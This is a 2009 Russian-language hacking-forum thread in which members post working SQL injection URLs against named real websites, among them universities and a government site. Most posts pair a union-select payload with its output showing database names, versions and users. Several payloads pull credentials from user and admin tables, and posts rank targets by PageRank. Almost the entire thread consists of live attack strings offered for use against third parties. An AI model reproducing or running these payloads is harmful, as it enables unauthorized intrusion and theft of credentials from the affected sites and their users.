SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. bim7794

    bim7794 Member

    Joined:
    11 Dec 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    14
    http://www.rider.by/news.php?id=-9+union+select+1,2,3,concat(0x3,hash),5+from+adminsessions--
     
    #10261 bim7794, 5 Aug 2009
    Last edited by a moderator: 5 Aug 2009
    1 person likes this.
  2. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    PR: 6
    Code:
    http://www.cittadellarte.it/readnews.php?id=-382+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,database(),version(),user()),22--
    
    cittadellarte:4.1.10a:[email protected]



    Code:
    http://www.niuage.fr/post.php?id=-7+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7--
    
    niuagedesign:5.0.68-log:[email protected]



    Code:
    http://gymn2samara.org/readnews.php?id=-32+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6--
    
    gymnsama_mt:5.0.77-community-log:gymnsama_mt@localhost



    Code:
    http://gameborder.mobi/readnews.php?id=2672+union+select+concat_ws(0x3a,database(),version(),user()),2,3--
    
    gamebord_games:5.0.83-community:gamebord_user@localhost



    Code:
    http://www.foshankids.cn/readnews.php?id=-844+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6--
    
    foshankids_www:5.0.22:foshankids@localhost
     
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://mmoworld.ru/user_info.php?id=1'+and+substring(version(),1,1)=5+--+
     
    _________________________
  4. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://neoklimat.ru/faq.php?id=-923+union+select+1,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,3,4--

    5.0.67-log :: u98256_woll :: [email protected]
     
    #10264 ZARO, 5 Aug 2009
    Last edited: 5 Aug 2009
  5. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.bsk.ru/news.php?id=45+union+select+1,2,3,4,unhex%28hex%28concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29%29%29,6+limit+1,1/*
    version():4.1.13-log
    database():bsknew
    user():BSK@localhost
     
    1 person likes this.
  6. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Ветка 4
     
  7. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.shyla.ru/shvmz.php?id=-1+union+select+1,2,3,4,5,6,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,8,9--

    shyla :: 5.0.84 :: zab@localhost
     
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR - 5
    http://neuroscience.columbia.edu/postdoctoral.php?ID=2+union+select+1,2,3,unhex(hex(version())),5/*

    Database Version: 4.1.8-standard
    Database name: neuro_init
    User name: dgl2102@localhost

    PR - 4
    http://www.stroudsymposia.org/transcripts/?transID=-251+union+select+unhex(hex(group_concat(user,0x3a,password))),2,3,4,5,6,7,8,9+from+mysql.user/*

    Database Version: 4.1.8-standard
    Database name: stroud
    User name: jhy2104@localhost


    PR - 6
    http://web.neuro.columbia.edu/members/Test3.php?id=-23+union+select+1,2,3,version(),5/*

    Database Version: 5.0.32-Debian_7etch6-log
    Database name: members
    User name: [email protected]
     
  9. Octave_Parango

    Joined:
    6 Nov 2008
    Messages:
    83
    Likes Received:
    11
    Reputations:
    -1
    pr-3

    http://audioschool.ru/ser_ver/index.php?new=-2+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(group_concat(username,0x3a,password,0x0a),0x71),0x71),4+FROM+u82696.audio_users--

    Database Version: 5.0.67-log
    Database name: u82696
    User name: [email protected]
     
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 6
    Code:
    http://www.hiram.[COLOR=White][SIZE=4][COLOR=White]edu[/COLOR][/SIZE][/COLOR]/news/article.php?id=-1681+union+select+1,version(),3,4/*
    Database Version: 5.0.45
    Database name: hiram
    User name: [email protected]
     
  11. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    27
    Likes Received:
    35
    Reputations:
    4
    PR 6, ТИЦ 20
    PR 6
    PR 5
    PR 4
    PR 4
     
    #10271 rolex, 5 Aug 2009
    Last edited: 5 Aug 2009
    1 person likes this.
  12. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    PR5
    5.0.44sp1-enterprise-gpl-log:eek:ur@localhost:eek:ur

    PR5
     
  13. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://glokomkatarakt.dergisi.org/content.php3?id=1+union+select+1,2,3,4,concat_ws(0x2a,user(),0x2a,version(),0x2a,database() ),6,7/*

    pleksus@lo 4.0.24 JOURNAL_gl
     
    #10273 Swift, 5 Aug 2009
    Last edited by a moderator: 5 Aug 2009
  14. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    Google PR:7
    Yandex CY:130

    http://www.slu.edu/jobs/job_details.php?i=8815+and+substring(version(),1,1)=3--+&d=1313jd
     
  15. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Code:
    http://www.w3s.ru/service_more.php?service_id=5&project_id=-78+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8,9,0,11,12--
    
     
    5 people like this.
  16. FAQ666

    FAQ666 Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    38
    Likes Received:
    18
    Reputations:
    8
    ТИЦ 850
    PR 7

     
    3 people like this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5
    http://www.saiuae.gov.ae/newsidar.php?id=1+and+substring(version(),1,1)=3+--+
     
    _________________________
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    [email protected]:4.1.22-log:wwwmayabalashova


    Смотрим страницу "создание сайта", видим авторов, вбиваем в гугль и находим другой сайт.

    [email protected]:4.1.22-log:wwwrecordnnru


    Админку не нашел :(
     
  19. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.energypoplar.eu/pillar.php?p=-1+union+select+1,2,3,4,concat_ws(0x3a3a,id,nom,pwd)+from+bc_admin+--+
    ===================
     
    #10279 fraIzer, 6 Aug 2009
    Last edited by a moderator: 6 Aug 2009
  20. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.usil.ru/event.php?action=detail&id=-68+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,database(),version(),user()),9,10,11--
    
    usil:4.1.22-log:dbusil@localhost



    Code:
    http://life.gubkin.ru/event.php?id=-4+union+select+1,2,3,4,5,concat_ws(0x3a,database(),version(),user()),7--
    
    life:5.0.84-log:life@localhost



    Code:
    http://www.ufrs-ra.ru/newsone.php?n_id=-9+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5--
    
    ufrs-ra:5.0.24a-log:ufrs-ra@localhost



    Code:
    http://www.cpu2.com/readNews.php?id=-21+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4--
    
    cpu2:5.0.67.d7-ourdelta-log:[email protected]



    Code:
    http://barnsleytalk.co.uk/news/readnews.php?id=-95+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5--
    
    barnsley-talk_main:5.0.27-Debian_0.dotdeb.1:barnsley-talk_main@localhost
     
Thread Status:
Not open for further replies.